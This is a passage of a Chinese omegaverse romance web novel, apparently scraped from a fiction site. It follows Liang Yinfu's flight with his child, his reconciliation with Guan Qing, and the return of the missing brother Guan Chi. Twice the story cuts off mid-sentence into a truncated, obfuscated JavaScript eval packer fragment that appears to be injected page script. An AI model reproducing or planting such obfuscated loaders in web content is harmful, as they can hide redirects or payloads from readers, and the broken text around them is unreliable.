失去梁因芙的恐惧和被抛弃的刺痛,让关擎几乎喘不过气,伤口因为情绪的剧烈波动,仿佛要裂开。 温热的液体似乎又渗了出来,染红了纱布的一角。 心腹被他的暴怒吓得脸色发白,连忙躬身,语速极快地解释道:“长官息怒!属下们已经立刻派了人,在追了,他带着孩子,又是个Omega,人生地不熟,肯定……逃不远的!” “我们的人已经在全城布控,车站,机场,码头,所有能离开的渠道,都已经安排了人手,只要他一露面,肯定能抓住!” “闭嘴!” 关擎猛地打断了他,“不准伤害他,听清楚了吗?不准伤害他一根头发!” “还有孩子,也不准有任何闪失。” 他看着心腹那副惊愕,却又不敢反驳的表情,关擎深吸了一口气,压下心头那翻江倒海的暴戾和恐慌:“找到他们立刻报告给我,不准用强。” 关擎挣扎着,想要下床。 身体因为手术和失血,还很虚弱,头上也缠着厚厚的纱布。 梁因芙的确逃跑了,带着小宝。 坐着一辆破旧的小巴车,他想自己那一下,确实是太冲动了。 用那么硬,那么重的石膏笔筒,朝着一个人的头砸下去。 万一,真的砸死了呢? 他从没想过要关擎的命。 梁因芙只是想摆脱他,逃离他,离他远远的,从未想过让他从这个世界上消失。 那个想法,光是掠过脑海,就让他浑身发冷,胃里一阵翻搅。 现在冷静下来想想,梁因芙一开始就生了不该有的侥幸心理,他一直觉得关擎不会真的对他做什么太过分的事情? 可事实上他们现在的关系,早已不是在小镇里,关擎也不是那个照顾他对他无限包容的岑叙,梁因芙对他只是一个无依无靠,带着幼子,身无长物普通的Omega。 在关家那些人的眼里,根本不值一提,随时可以像碾死一只蚂蚁一样抹去他。 梁因芙带着小宝,最终躲进了城市边缘,一片鱼龙混杂,管理松散的区域里,一家条件极其简陋有些肮脏破败的小旅社。 这里不需要登记身份信息,老板睁一只眼闭一只眼,只要给钱就能入住,三教九流,什么人都有,正好适合藏身。 因为逃出来得太匆忙,太慌乱,梁因芙只是凭着本能,抓起了随身小包里仅有的身份证,一点现金,幸好之前关家给的生活费他攒了一些,没全花掉,和几件小宝的换洗衣物,就抱着孩子,就跑了。 他和小宝就缩在这间不过几平米的小房间里。 唯一的窗户对着外面杂乱肮脏的后巷,他甚至不敢轻易拉开窗帘。 小宝饿了。 梁因芙连忙翻出包里那盒在楼下小卖部买的盒装牛奶,烧了半壶水,将牛奶盒放在温水温着。 直到牛奶摸起来不那么凉了,他才用吸管插开,递到小宝嘴边。 小宝这段时间,在关家喝的都是昂贵的进口奶粉,还有辅食。 此刻喝到这普通带着点奶腥味的盒装牛奶,小嘴吧嗒了两下,眉头就皱了起来,扭开头,不肯再喝,甚至扁着嘴,眼看就要哭出来。 梁因芙看着孩子这副样子:“宝宝,乖,你吃点吧,好不好?就喝一点点,现在只有这个了。等我们等我们安全了,再给你买好吃的,好不好?” 小宝听不懂,只是觉得不舒服,好像听懂了梁因芙的话,勉强又喝了一点。 梁因芙自己也没有胃口。从昨晚到现在,几乎没吃什么东西。 胃里空荡荡,却感觉不到饿。 他给自己泡了方便面。 没胃口。 一来,是担心,担心关擎……会不会真的死了? 二来,是真的害怕。当时书房里只有他们两个人,可事后,那些保镖肯定会查。 关擎醒来后,又会怎么说? 以关家那种地方的行事作风,一旦确定是他袭击了关擎,他们会怎么对他?会不会像对待叛徒一样,用极其残忍,不人道的手段,来处理掉他?甚至连小宝都不放过? 一想到那些保镖在关擎倒下后,冲进来时,看向他带着杀气的眼神,梁因芙就忍不住打了个寒颤。 早知道就不出来找关擎了。 不,是早知道就不该心软收留他,选择来到这个城市,甚至进入关家。 如果当初没有那些如果,梁因芙现在或许还带着小宝,在小镇,过着平静自由的日子。 小宝也不会像现在这样,跟着他颠沛流离,担惊受怕。 梁因芙疲惫地闭上了眼睛,将脸埋在小宝柔软的发顶,深深地吸了一口气来驱散内心的恐惧和悔恨。 早知道随便关擎在哪里死了好了。 就当这个人不存在好了。 混乱的思绪,极度的疲惫,和高度紧张后的虚脱感,如同潮水般一波一波地袭来。 梁因芙抱着小宝,不知不觉地也陷入了浅眠。 但他睡得极不安稳,一点轻微的声响,就能让他骤然惊醒。 第二天,天还没完全亮,窗外还是一片朦胧的灰蓝色。 小宝因为换了环境,睡得不安稳,早早地就醒了,发出细碎的呜咽声。 梁因芙哄小孩,挪到那扇布满污渍,只能推开一条缝隙的窗户边,借着窗外熹微的晨光,一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看到关擎到来,心腹连忙上前几步:“梁先生他就在里面。但是他谁都不让靠近。手里还有一把刀,一靠近,他就攻击,是真的会拼命的样子。我们不敢硬来,怕伤到他和孩子。” 关擎的目光,看向巷子深处。 那片堆满杂物后面,一个瘦削单薄身影,正死死地贴靠在墙壁上,怀里紧紧护着一团小小的包裹。 关擎的心脏骤然收缩带来窒息的疼痛。 是他。 是他把梁因芙逼到了如此境地。 关擎深吸了一口气,压下喉咙里翻涌的血腥气和眼眶瞬间的酸涩。他挥了挥手,示意心腹和其他人都退后,离得远远的,不要发出任何声音,也不要再试图靠近。 然后他独自一人,一步一步走了过去。 随着关擎的靠近,那个缩在阴影里,紧绷的身影,似乎也察觉到了。 梁因芙猛地抬起头,看向关擎走来的方向。 “你……你们走开啊!不许靠近我们!再过来……我,我就不客气了!” 关擎停下了脚步,在距离梁因芙几步远的地方,缓缓地蹲了下来,让自己的视线,与那个蜷缩在阴影里,如同惊弓之鸟般的Omega,尽量持平。 他不敢再贸然靠近,怕刺激到梁因芙,让他做出可能伤害到他自己或孩子的举动。 “宝宝……” 关擎叫的是宝宝,不是梁因芙,这是从前关擎带着点亲昵和撒娇意味叫梁因芙的称呼。 梁因芙听到这声宝宝,握着刀的手猛地一紧。 关擎看着他,继续缓缓地道:“对不起,宝宝,我现在,什么都想起来了。” “我知道你不是故意的。” “在书房是我不好,我混蛋该死,是我失控了,吓到你了,逼你做出了那样的事。我没事,你看我还活着,好好的,头上的伤也不重,已经处理好了,你别怕。” 关擎试图用最平缓,最不带攻击性的语气,来安抚梁因芙。 梁因芙听着他的话,眼泪如同断了线的珠子般,大颗大颗地从那双漂亮充满了血丝和破碎泪光的琥珀色眼睛里,滚落下来。 他握着刀的手,因为情绪的剧烈起伏和身体的颤抖,松动了一些。 关擎看准这个时机,不再犹豫。 他从蹲着的姿势,站了起来,朝着梁因芙走了过去。 梁因芙看着他走近,又想举起手中的武器,可身体却像是被抽空了所有力气,僵硬得无法动弹,只有眼泪,流得更凶了,混合着脸上的灰尘,留下一道道狼狈的痕迹。 就在关擎走到他面前,伸出手,一把抓住了梁因芙那只握刀的手腕。 “松开。” 关擎的声音,在他耳边响起,“把刀给我,没事了,相信我,宝宝。” 梁因芙呆呆地看着他,看着关擎恳求的脸。 所有的力气,仿佛在这一瞬间,被彻底抽干了。 所有的恐惧,愤怒,委屈,后怕,如同决堤的洪水,冲垮了他最后一丝紧绷的神经。 他手指一松。 “哐当!” 那刀滚落到了一旁。 而梁因芙像是被抽走了全身的骨头,再也支撑不住,软了下去。 关擎连同梁因芙和他怀里那个依旧在哭闹不止,小小的孩子,一起拥进了自己的怀抱里。 他将脸贴着梁因芙的脸,贪婪地呼吸着让他魂牵梦萦又痛彻心扉的气息,唇亲过梁因芙的头发。 他感觉到怀里的身体,正在剧烈地抽泣声。 梁因芙:“……是我……是我不要你的!” 关擎紧紧地抱着他,温柔地道:“好好好,只许你不要我,我没资格不要你,对不起,别哭了,哭得我心疼,我在这,我找到你了。” 肮脏破败的小巷深处,在初升的晨光中,两个浑身狼狈的人,拥抱在一起哭泣,怀中还夹着一个孩子…… 16.小美人寻夫记(16) 关擎靠在床头,手还连着输液管,透明的液体一滴一滴往下坠,沿着软管流进他手背的血管里。他看着坐在床边削苹果的梁因芙,开口解释那些被遗忘的事。 不是存心失忆的。 当初事情牵扯太多,他离开前是给梁因芙留了信的。那封信他亲手写的,亲手放进收银柜里,亲手锁好。信上说了很多话,让他先好好把孩子生下来,切不可轻举妄动,等他回来。 梁因芙削苹果的手顿了一下。刀锋悬在半空,苹果皮断了,软塌塌地垂下来。 “信?”他抬起头,看着关擎,“什么信?” 关擎确凿无疑自己留了信的:“就在收银柜里。” 梁因芙的眼神飘忽了一下。 那收银柜他知道。自从关擎来打理他父亲留下的店后,他就没碰过店里的账。关擎管进,他管出,分工明确,各司其职。 所以他不知道那里面还有一封信。 世事难料。 梁因芙忧伤了一会儿,就一小会儿,然后他想到了一个更严重的问题。 “老公。”他说。 关擎看着他。 梁因芙的眉梢拧起来:“对不起,我以为你是渣男,所以我给你下药了。” 关擎愣了一下。 “……不是泻药吗?” 梁因芙摇头,心虚躲闪,目光从关擎脸上移开,落在输液管上,又移到窗外,最后飘回自己脚尖。 “不是,”他说,声音低下去,“是可以让Alpha不孕的药。” 病房里安静了几秒。 关擎看着梁因芙那颗低下去的脑袋,然后伸手,拿起床头的呼叫器按下按钮。 “……给我再检查一遍。” 检查结果出来得很快。 泻药。 确实是泻药。不是能让Alpha不孕的药,就是普普通通能让肚子疼一晚上,跑几趟厕所的泻药。梁因芙买着假药了。 梁因芙盯着那张检查报告,表情很复杂。 先是松了一口气,然后那股气还没松完,新的气愤就涌上来了。 “那那个人收了我真药的钱!”梁因芙说,声音都高了半度,“不行,我要告他,卖假药的,诈骗,完全是欺诈消费者——” 关擎伸手,把他拽回床边。 “……宝宝,”关擎语气里带着一点无奈,“不用了。” 梁因芙被他拽得跌坐在床沿,手还攥着那张检查报告,气得鼓鼓的,他看着关擎,眼里带上一点愧疚。 “老公,”他说,“实在对不起,那种情况下,我的确很气愤。” “那你哥哥什么时候回来?他回来了,我们好回去。” 关擎提到这个问题,沉默了几秒:“……他下落至今还不明。” 梁因芙看着他,伸手握住他没扎针的那只手。那手握上去有点凉,指节微微凸起,骨节分明。他把那只手拢在自己掌心里暖着,轻轻摩挲。 “吉人自有天相,”他说,“会没事的。” 关擎没说话。他只是反手握住梁因芙的手,握得很紧。过了很久,他才开口,声音闷闷的,像是从胸腔深处挤出来的:“对不起,宝宝。” “我不该忘了你。”关擎说。 梁因芙愣了一下。然后他眼眶有点热。他是最会顺着杆子往上走。此刻那杆子递到他面前,他没有不爬的道理。 他往关擎身边挪了挪,把脸贴在他肩上,开始细数自己一路来的辛苦。 他说他一个人挺着肚子多不容易。他说生孩子的时候有多疼,疼得他差点以为自己要过去了,别人都有老公陪着,产房里别的Omega老公都在外面等着,有递水的,有擦汗的,有握着手的,就他没有。婶婶给他签的字,一个人进的产房,一个人熬过来的。 他说了很多,都是事实。 关擎听着,手从他肩上滑下去,揽住他的腰。那腰比从前细了一点,他把人往怀里带了带,下巴抵在他发顶。 “对不起。”他又说了一遍。 梁因芙没再说话。他只是把脸埋在关擎颈窝里,闻着那股久违属于他老公的气息,轻轻地蹭了蹭。 不知道是不是心理作用,梁因芙趴在病床边的陪护椅上,偷偷吸了吸鼻子,大众Alpha的信息素,突然变得好闻了。 那股熟悉的气息,不再像前几日那样刺鼻得让他反胃,反而像被什么过滤了一遍,剩下的全是温吞的,让人安心的暖意。 他悄悄抬眼,瞄了一眼床上正挂着点滴,脸色还略显苍白的老公,心里那颗悬着的石头,总算是落了地。 幸好买了那假药。梁因芙在心里默默给自己点了个赞。 他老公这张脸这身材,毕竟还是可以一用的。再怎么说,也是他孩子的父亲,亲生原装的,用着放心。 想到这里,梁因芙甚至开始畅想未来,等这事儿彻底翻篇了,他是不是还能跟关擎商量着,要个二胎?一个孩子太孤单了,两个孩子一起长大,多好。 他眨了眨眼,思绪已经飘到了几年后,两个小萝卜头跟在他们身后跑,关擎一手牵一个,他走在旁边…… “宝宝。” 一声沙哑的呼唤,打断了梁因芙的幻想。他回过神,发现关擎不知道什么时候醒了,正侧着头,用那种他熟悉得不能再熟悉,带着心疼和愧疚的眼神,直直地望着他。 那眼神太浓烈了,浓烈到梁因芙觉得自己像块泡在蜜罐里的糖,快要化了。 关擎满脑子都是刚才醒过来时看到的画面,他老婆趴在床边,小小一只,累得睡着了,眼睫湿漉漉的,好像哭过。 他想起自己昏过去前,梁因芙那双泪盈于睫的眼睛,心就像被人生生剜了一刀。他恨不得立刻爬起来自杀谢罪,怎么就能让他老婆受这种委屈? 他恨不得把梁因芙捧到天上去,摘星星摘月亮,只要他开口。 至于自己是怎么躺进医院的,是被梁因芙下了药,打进医院的,关擎已经完全想不起来了,那点小事,跟他老婆受的委屈比起来,完全可以忽略不计。 梁因芙被他看得有点心虚,连忙换上一副担忧的表情,凑过去摸了摸他的额头:“醒了?还疼不疼?” 关擎抓住他的手,放在自己胸口,掌心贴着心脏的位置,那心跳有力而急促,隔着皮肤传到梁因芙手心:“不疼,看见你就不疼。” 行吧。 林幻真是后来才得知真相的。 那天他来探病,把梁因芙拉到走廊角落里,脸上的惊讶毫不掩饰:“所以你跟关擎你们俩之前在一起?” 梁因芙点了点头,有点不好意思。 林幻真叹了口气,看他的眼神充满了怜惜:“你也是,怎么不说呢?一个人受了这么多委屈,以后有事跟我们说,别自己扛着。” 梁因芙听着这话,心里那点愧疚感又冒了出来。他实在不好意思告诉林幻真,他来这儿的初衷,是复仇来着。 算了,这种话,还是烂在肚子里吧。 两天后,关擎出院了。 他恢复得很快,年轻底子好,又有人天天在床边守着喂汤喂药,出院时已经红光满面,走路带风,他回家说:“宝宝,你搬来跟我一起住。” 梁因芙愣了一下:“……老公,暂时不用吧?” 关擎脸上那种志得意满的表情像被人按了暂停键:“……宝宝,你不想跟我在一起吗?” 梁因芙看着他那副大受打击,仿佛被抛弃的样子,心里那点犹豫又软了,当然不是不想。 他太了解关擎了。两个人睡一起,肯定要搞。就关擎现在看他那个眼神,里面的火苗简直能把他烤熟,梁因芙觉得自己只要踏进那扇门,屁股肯定要受大罪。 他们毕竟孩子都弄出来了,在这方面简直不要太熟。关擎做的时候,完全不收力。一开始梁因芙还庆幸自己找了个当兵的老公,体力好,身材好,那方面更是,爽是真爽,累也是真累。 他记得第一次的时候,两个人都是初次,生疏又紧张,但也兴奋得不行。 结束后,他浑身汗湿地趴在床沿上,后背白得像玉,汗珠顺着腰窝往下淌。关擎靠在床头,从旁边摸出一根烟,点燃,眯着眼抽了一口,那模样,慵懒得像只餍足的野兽。 梁因芙当时侧过头,看着那明灭的火光,鬼使神差地问了一句:“好抽吗?” 关擎低头看他,那双眼睛在烟雾里显得格外深邃。他没说话,只是把烟掐灭在床头柜的烟灰缸里,动作干脆利落,然后俯下身,用带着烟草味的嘴唇亲了亲他的后颈,声音低哑:“别好奇。” 那之后,他就再也没在梁因芙面前抽过烟。 回忆让梁因芙的脸微微发烫。 可是现在情况真的有点复杂。 关擎那边的事还没处理完,他名义上还是别人的老公。 梁因芙知道自己有娇妻脑的时候,确实又笨又低级,手段拙劣,关擎说什么他都信,妥妥一个恋爱脑。但他也有机灵的时候,比如现在,他的理智告诉他,不能就这么不明不白。 “……我不能这么无名无分地跟你住一起。”梁因芙斟酌着开口,“你现在……你那边还没解决好。” 话音未落,关擎的脸色就变了。 他像是被雷劈中一样,整个人愣在原地,然后是一阵剧烈的懊恼和自我厌恶。他猛地抬起手,照着自己的脸就是一下。 “啪!” 那声音清脆,梁因芙吓了一跳,赶紧拉住他的手:“你干嘛!” 关擎脸上浮起一个红印子:“对不起,宝宝,我真没想到这层!我真该死!” 他把自己代入的是梁因芙老公的角色,他们住在一起天经地义。他完全忘了,在外人眼,他还有一个别人老公的身份。 梁因芙伸手摸了摸那个红印子,轻轻吹了吹:“行了行了,别打了,我又没怪你。” 关擎抓住他的手,放在唇边亲了亲,眼神还是委屈巴巴的:“那宝宝,你说怎么办?” 梁因芙想了想,叹了口气:“你先把那边处理好,我等你好消息。” 关擎用力点头,郑重得像在接受军令状。 于是,两个人就这么进入了一种诡异的相处模式。 梁因芙的房间,关擎还是会去。但每次去,都像 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梁因芙参与不了他老公那些事。那些关家的烂账,那些亲戚的嘴脸,他能做的,就是待在家里带孩子。 孩子有育儿嫂,专业的,喂奶换尿布洗澡抚触一套流程行云流水,比梁因芙这个爹强多了。 梁因芙能做的,就是孩子醒着的时候抱一抱,逗一逗,等小家伙打个哈欠开始揉眼睛,育儿嫂就笑眯眯地接过去,往婴儿房走。梁因芙跟在后面看两眼,然后被客气地请出门外。 他又过起了镇上那种甩手掌柜的生活。只是镇上的小院换成了城里的大别墅,窗外不是鸡鸣狗吠,是车水马龙。 林幻真大概是心里过意不去。当初那事是他走投无路之下才让关擎回来的,最后梁因芙成了被架在火上烤的那个,他总觉得亏欠。补偿的方式很直接,拉着梁因芙出门,买买买,扫货扫得像个暴发户。 梁因芙哪懂这些。 奢侈品?他听都没听过几个牌子。高档货?镇上哪有,最贵的就是县城商场里标价四位数的羽绒服。他被林幻真拽进那些装修得像艺术馆的店铺,脚下踩着软得陷进去的地毯,看着那些造型奇怪价格更奇怪的包和衣服,整个人都是懵的。 林幻真让他挑。他就真的挑,看哪个颜色顺眼,摸哪个料子软,就指着说这个好看。给小宝也买,小小的鞋子小小的衣服,捧在手里软乎乎一团,他看得眼睛发亮。 关擎偶尔有空,也会过来当刷卡机。他话不多,就默默跟在两人身后,等梁因芙挑好了,掏出卡来刷,眼都不眨一下。 柜姐们见了他那张黑卡,又见他寸步不离跟着梁因芙的样子,心里自动给两个人配了对,顺口就夸:“关先生真疼老婆。” 空气安静了一秒。 林幻真脸上的表情复杂得很。 关擎站在旁边,脸色更精彩,像是胃疼发作。 梁因芙低觉得画面可真有意思。外人眼里,林幻真是正牌老婆,他像封建家主纳进门的小老婆?不对,小老婆好歹有名分。他这算什么?小保姆上位?偷偷生了孩子等着被扶正的那个? 这个念头冒出来,心里涌起一股微妙的味道,说不清道不明的刺激。 回去之后,购物袋堆了一沙发,logo明晃晃的。关擎把人搂进怀里,下巴抵在他肩膀上,闷闷地说了句对不起。 他知道梁因芙在意什么。他老婆看着娇,骨子里有些传统的东西守得死死的。当初他身份特殊,婚礼倒是热热闹闹办了,登记却一直没去成。就因为这事,梁因芙到现在都没让他标记。 小镇镇花有小镇镇花的坚持,没领证就不算正式夫妻,不算正式夫妻就不能动那一步。关擎急得抓心挠肝,也只能忍着。 他一直在努力。把那几个吸血鬼按住,把关家这堆烂摊子收拾干净,然后就能正大光明带着他老婆去登记,名正言顺把人标记了,完成他心心念念的灵肉合一终极目标。 可今天这出闹剧,又戳到了梁因芙的痛处。 关擎正想着怎么哄,怀里的人却动了。梁因芙贴着他的腰,声音软绵绵的,带着点委屈:“老公,你什么时候才能让我当正妻啊?我不想只当小保姆。” 关擎愣了一下,随即反应过来:“你才生一个,就想当主人了?” 梁因芙眨眨眼,手指不老实地摸上他的胸口,隔着衬衫的布料画圈圈。那指尖有点凉,在他心口的位置打转,声音又低又软,像撒娇,又像勾引:“我还能给你生。” 关擎眼睛眯了起来,喉结滚动了一下。他握住那只作乱的手,声音哑了几分:“是吗?那表现给我看看,我们关家家大业大,起码生三个。” 梁因芙脸红了,但还是顺着他的力道,一边解扣子一边小声骂:“讨厌……” 婴儿房里,小宝已经被育儿嫂哄睡了。小家伙吧唧着小嘴,睡得香甜,他现在不需要安抚奶,也不需要爸爸抱抱。 隔壁主卧的门关得严严实实,偶尔漏出一两声压抑的动静,很快又被吞没。 那点本来属于小宝的安抚,最后全进了关擎嘴里。 17.小美人寻夫记(17) 梁因芙和林幻真两个人都是Omega,加上又都生了小朋友,共同的话题自然而然就多了起来。 林幻真是个善良又大气的Omega。 他出身良好,受过极好的教育,气质温婉,举止得体,即使在经历了关驰失踪,后来又知晓关擎与梁因芙真正关系后的短暂冲击,依旧保持着一种令人舒适包容的姿态。 他知道梁因芙来自与他的世界隔着天堑的小地方,这些日子又经历过他无法想象的艰难和坎坷,很是敬佩。 于是乎林幻真会带着梁因芙去见识体验许多以前从未见过,甚至未曾想象过的东西。 什么画廊,美术馆,梁因芙不感兴趣,林幻真又带他去那些需要提前数月预约的会员制餐厅,品尝来自世界各地的珍馐,这个梁因芙喜欢。 顶级音乐厅里举行由国际知名乐团演奏的古典音乐会,梁因芙摇头说自己听不懂,林幻真笑着说,他其实大多时候也是听不懂,但是偶尔还是会被一段音节感动。 梁因芙起初是有些拘谨和不安,感觉自己像个笨拙的闯入者。 但林幻真不带任何压力的引导渐渐让他放松下来。 梁因芙觉得有钱真好,原来世界可以如此广阔,生活可以拥有如此多不同美好的面貌。 但是他还是喜欢他的小镇。 有时候他们会带着各自的孩子,将两个小宝贝放在铺着柔软地毯洒满阳光的落地窗边,或漂亮喷泉和绿植安静的私家花园里,让两个孩子并排躺着或坐着,然后给两个小家伙拍照。 诺诺还只有几个月大,小家伙生得白白嫩嫩,像一团柔软香甜刚出炉的糯米团子。 小小的脸蛋圆嘟嘟,皮肤是婴儿特有的吹弹可破,细腻莹润的白皙,仿佛能透出光来。 一双眼睛又大又亮,如同两颗浸在水里黑葡萄,滴溜溜地转着,对周围的一切都充满了好奇。 眉毛也弯弯的,小嘴红润,鼻梁虽然还没完全长开,但已能看出秀气的轮廓。 她安静地躺在那儿,挥舞着小手小脚,嘴里发出咿咿呀呀的不成调却异常可爱的声音。 小宝已经一岁多了,正是活泼好动对什么都充满探索欲的年纪。 他看到旁边躺着个更小软乎乎,像娃娃一样的妹妹,显得格外兴奋和好奇。 小宝爬过去,蹲在诺诺旁边,伸出胖乎乎的小手,想去摸妹妹那软嫩的脸蛋,伸到一半又缩了回来。 然后他像是想到了什么好主意,从自己嘴里,拿出那个他平时很喜欢淡蓝色的硅胶奶嘴,慷慨地分享,姿作势就要往诺诺嘴里塞。 梁因芙在旁边看着,连忙伸手阻拦:“宝贝,妹妹还小,吃不了这个,有你的口水,脏。” 小宝意识不到脏不脏的问题,这是他最喜欢,也最能带来安抚和满足感的好东西, 他要分享给这个看起来软乎乎,很可爱的妹妹。 他被爸爸拦住,有些不解,扭动着小身子,还是想把奶嘴往诺诺嘴边送,小嘴里还发出嗯嗯坚持的声音。 林幻真在旁边看着这一幕,忍不住捂嘴笑了起来,又看了看自己女儿那依旧懵懂,也对这个哥哥产生了兴趣,正睁着大眼睛好奇地看着他天真无邪的脸,由衷地感叹道:“实在太可爱了。” 空气中弥漫着淡淡属于婴儿的奶香和阳光的味道,混合着花园里青草和鲜花的清新气息,一切都显得那么宁静,美好,仿佛时光都为之放缓了脚步。 关擎这个时候刚好回来了,梁因芙把小宝刚才非要喂诺诺奶嘴的事说了。 关擎抱着小宝说:“是吗?小宝很喜欢妹妹。” 在这种表面的温馨和宁静之下,梁因芙有时候也能敏锐地察觉林幻真眼中偶尔的失落和怅惘。 那失落是在看到他和关擎,小宝三个人,一家三口的时候出现的。 林幻真和女儿还在等待着至今下落不明的关驰。 梁因芙是知道等待的滋味。 漫长,煎熬,充满了不确定性。 仿佛永无止境把人悬在半空中折磨。 当初关擎不在身边的时候,他也是这样,白天装着若无其事,晚上躺在床上,盯着天花板,心里空落落的,像缺了一块,又不得不强迫自己继续等待。 因为除了等待,似乎别无他法。 他能理解林幻真那份失落。 梁因芙很想开口安慰林幻真几句,说些什么一定会没事的,一定会回来的之类,可话到嘴边,又咽了回去。 因这种安慰对于真正身处煎熬中的人来说,起不到任何实质的作用,反而可能因为触及了对方拼命隐藏的脆弱。 梁因芙只能用一些更加实际的关心和陪伴。 他觉得,如果林幻真可以,如果条件允许,他也会选择亲自去找关驰。 以他对林幻真那短暂接触的了解,这个看似温婉柔顺的Omega,骨子里其实有着不输于Alpha的坚韧和勇气。 关于关驰失踪的真相,关擎也向梁因芙透露过一些。 作祟的人是他们的三叔,他在关家内部,一直对家主之位虎视眈眈,暗中经营多年,人脉盘根错节,心思深沉狠毒,甚至不惜对自己亲侄子下手关家的三爷。 这么多年他三叔在关家内外,甚至在一些灰色,黑色地带,都积累了不小的人脉和势力。 要彻底扳倒他,将他从关家这棵大树上,连根拔起,清除干净,并非易事。 需要时机,需要证据,需要周密的计划和一击必中的把握。 否则,打蛇不死,反受其害,会引来更加疯狂的反扑,甚至危及到他们的安全。 而关驰出事,正是他们三叔暗中策划的一场意外。 关驰当时中了枪,具体过程关擎没有细说,中枪之后,关驰便不知下落,活不见人,死不见尸。 当时讣告要对外发布的时候,关擎就出现了,否则现在关家早就被他三叔掌控了。 关擎觉得他哥绝对还活着。 双胞胎之间有心灵感应的直觉,他相信以他哥关驰的能耐和心性,绝不会那么轻易就死掉。 他一定还躲在某个不为人知的角落养伤,蛰伏等待着反击的机会。 关擎还告诉梁因芙,他们兄弟两人之间,曾经约定过一个只有他们两人才懂的联系方式。 他们给对方留了密信,数字编码信息。 只要对方出事,在极度危险,就会向对方发送一串看似毫无规律,实则蕴含了特定信息的数字。 关驰在出事前,就向关擎发送过。 所以关擎当初才能那么快逃脱他三叔对他的追杀。 关擎和关驰几乎大部分生物样本都是一样的,这世界上除了少数人知道这件事,所以对于他们的身份,不会有太多人质疑。 结果意外就发生在那天梁因芙和林幻真一起出去逛街。 那原本是一个再普通不过悠闲午后。 林幻真提议带梁因芙去一家他常去会员制的高端美容院。 那家店坐落于城市最繁华地段,刷卡进入,内部装修是极简奢华的风格,空气中弥漫着令人舒缓的精油和花草香气。 梁因芙闭着眼睛,几乎要昏昏欲睡时,忽然门被人从外面打开了。 梁因芙睁开了眼睛,坐起身,他循着声音望去,只见一个穿着深色连帽卫衣,脸上戴着黑色口罩,头上也压着一顶同色棒球帽,帽檐压得极低,将整张脸几乎都遮得严严实实的陌生男人,闯了进来。 他的动作快得惊人,几乎在门被打开的瞬间,就已经闪身入内,反手将门重新合上,整个过程,干脆利落,充满了训练有素的冷静。 负责按摩的护理师吓得发出一声短促的惊叫,下意识地后退了几步,而躺在旁边另一张按摩床上的林幻真,也被这突如其来的闯入者惊得瞬间清醒。 他张嘴想呼叫外面的安保,那个闯入者跨到了他的床边,捂住了林幻真脱口而出的话语。 “唔!” 林幻真被捂住嘴,只能发出一声短促的闷哼,眼睛死死地盯住了近在咫尺的人,那双从帽檐和口罩缝隙间露出如同寒星般深邃的漆黑眼眸。 梁因芙刚想开口让那个人放人。 闯入者一把扯下了自己脸上那遮掩了大部分面容的黑色口罩和头上那顶压得低低的棒球帽。 一张脸暴露在了室内光线下,也暴露在了林幻真和旁边同样惊骇呆滞的梁因芙的视线之中。 那是一张和关擎几乎没什么差别的脸。 一样的深刻,立体,英俊得过分的五官轮廓。甚至连那双眼睛的形状和颜色,都极其相似,深邃如潭却又仿佛蕴藏着无尽星光的漆黑颜色。 但又有些许不同。 这人脸上多了一道疤。 那道疤痕并不狰狞,也不算很长,斜斜地从左边的眉骨上方,一直延伸到靠近太阳穴的位置,颜色是比周围皮肤略深一些,边缘已经愈合得很平整,显然有些时日了。 为这张原本和关擎极为相似的脸上增添了几分关擎所没有的沧桑之感。 关驰虽然和关擎五官没什么差别,但气质却要更温和一些, 内敛沉稳带着点儒雅书卷气的温和。 大概是因为最近一直在东躲西藏,过着不见天日时刻警惕的艰难日子,关驰整个人看上去,比关擎要瘦上一些,脸颊也微微有些凹陷,眼下有疲惫的青影。 他扯下口罩和帽子后,就那样看着林幻真。 林幻真在被捂住嘴,看到那张脸的时候,恐惧瓦解,只剩下心疼。 他都忘了自己的嘴还被对方捂着,眼眸一眨不眨看着以为再也见不到的脸。 关驰松开了捂着林幻真嘴巴的手,梁因芙对那护理人说他们认识。 林幻真伸出手,捧住了关驰消瘦的脸,指尖摸到疤痕略微粗糙的纹理,眼泪滚落,声音里化不开的心疼:“你不是伤到了吗?现在好了吗?” 关驰任由林幻真捧着自己的脸,拍了拍他的后背:“好了。” 梁因芙在旁边心想,活着就好。 关驰回头看着梁因芙。 梁因芙缓过来,尊敬生涩叫了一声:“大哥,你好。” 关驰在梁因芙身上,快速地打量了一下,眼神疑惑。 林幻真也介绍:“这是因芙,阿擎的Omega。” 关驰闻言,神情诧异:“你好。” 至于关驰为什么会突然出现在这家私人高端美容院,并且精准地找到了林幻真,后来梁因芙才从关擎那里得知了原因。 这家美容院,虽然私密性高,安保严格,但它毕竟是对外营业的场所,每天进出的人员相对复杂,更容易混进去。 而且这种地方通常拥有许多独立,隔音良好私密性极强的套房和休息室,为客人提供了绝佳,短暂会面的空间。 在关驰养好伤,贸然出现在关擎的地方不太现实,能避开关家可能的眼线,又能在一个私密的环境下,与林幻真单独见面,只能守株待兔了。 接下来的时间梁因芙非常有眼色地将空间完全留给了林幻真和关驰。 这对经历了生死别离,久别重逢的有情人,需要不受打扰的,独处时间,去倾诉因为分离和担忧产生的思念。 关驰悄无声息地跟着林幻真和梁因芙回到了关家。 关擎得到消息后,几乎是以最快的速度赶了回来。 他推开门,看到坐在沙发上,虽然消瘦但熟悉又陌生的身影时,冷静自持的脸上掠过了如释重负,最终只是大步上前,用力地抱住了关驰。 随后关擎和关驰便一起进了书房。 他们在书房里,密会了几乎快四五个小时。 窗外的天色,从明亮的午后,渐渐变为绚烂的黄昏,最后彻底地沉入墨蓝色的夜幕。 关擎回房间的时候,梁因芙都睡着了。 关擎微微低下头,把自己埋在梁因芙怀里,缓缓地开口说道:“我哥养伤养了快半年,伤得比较重。” 关驰被内部人背叛,中枪,失血,昏迷,躲避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 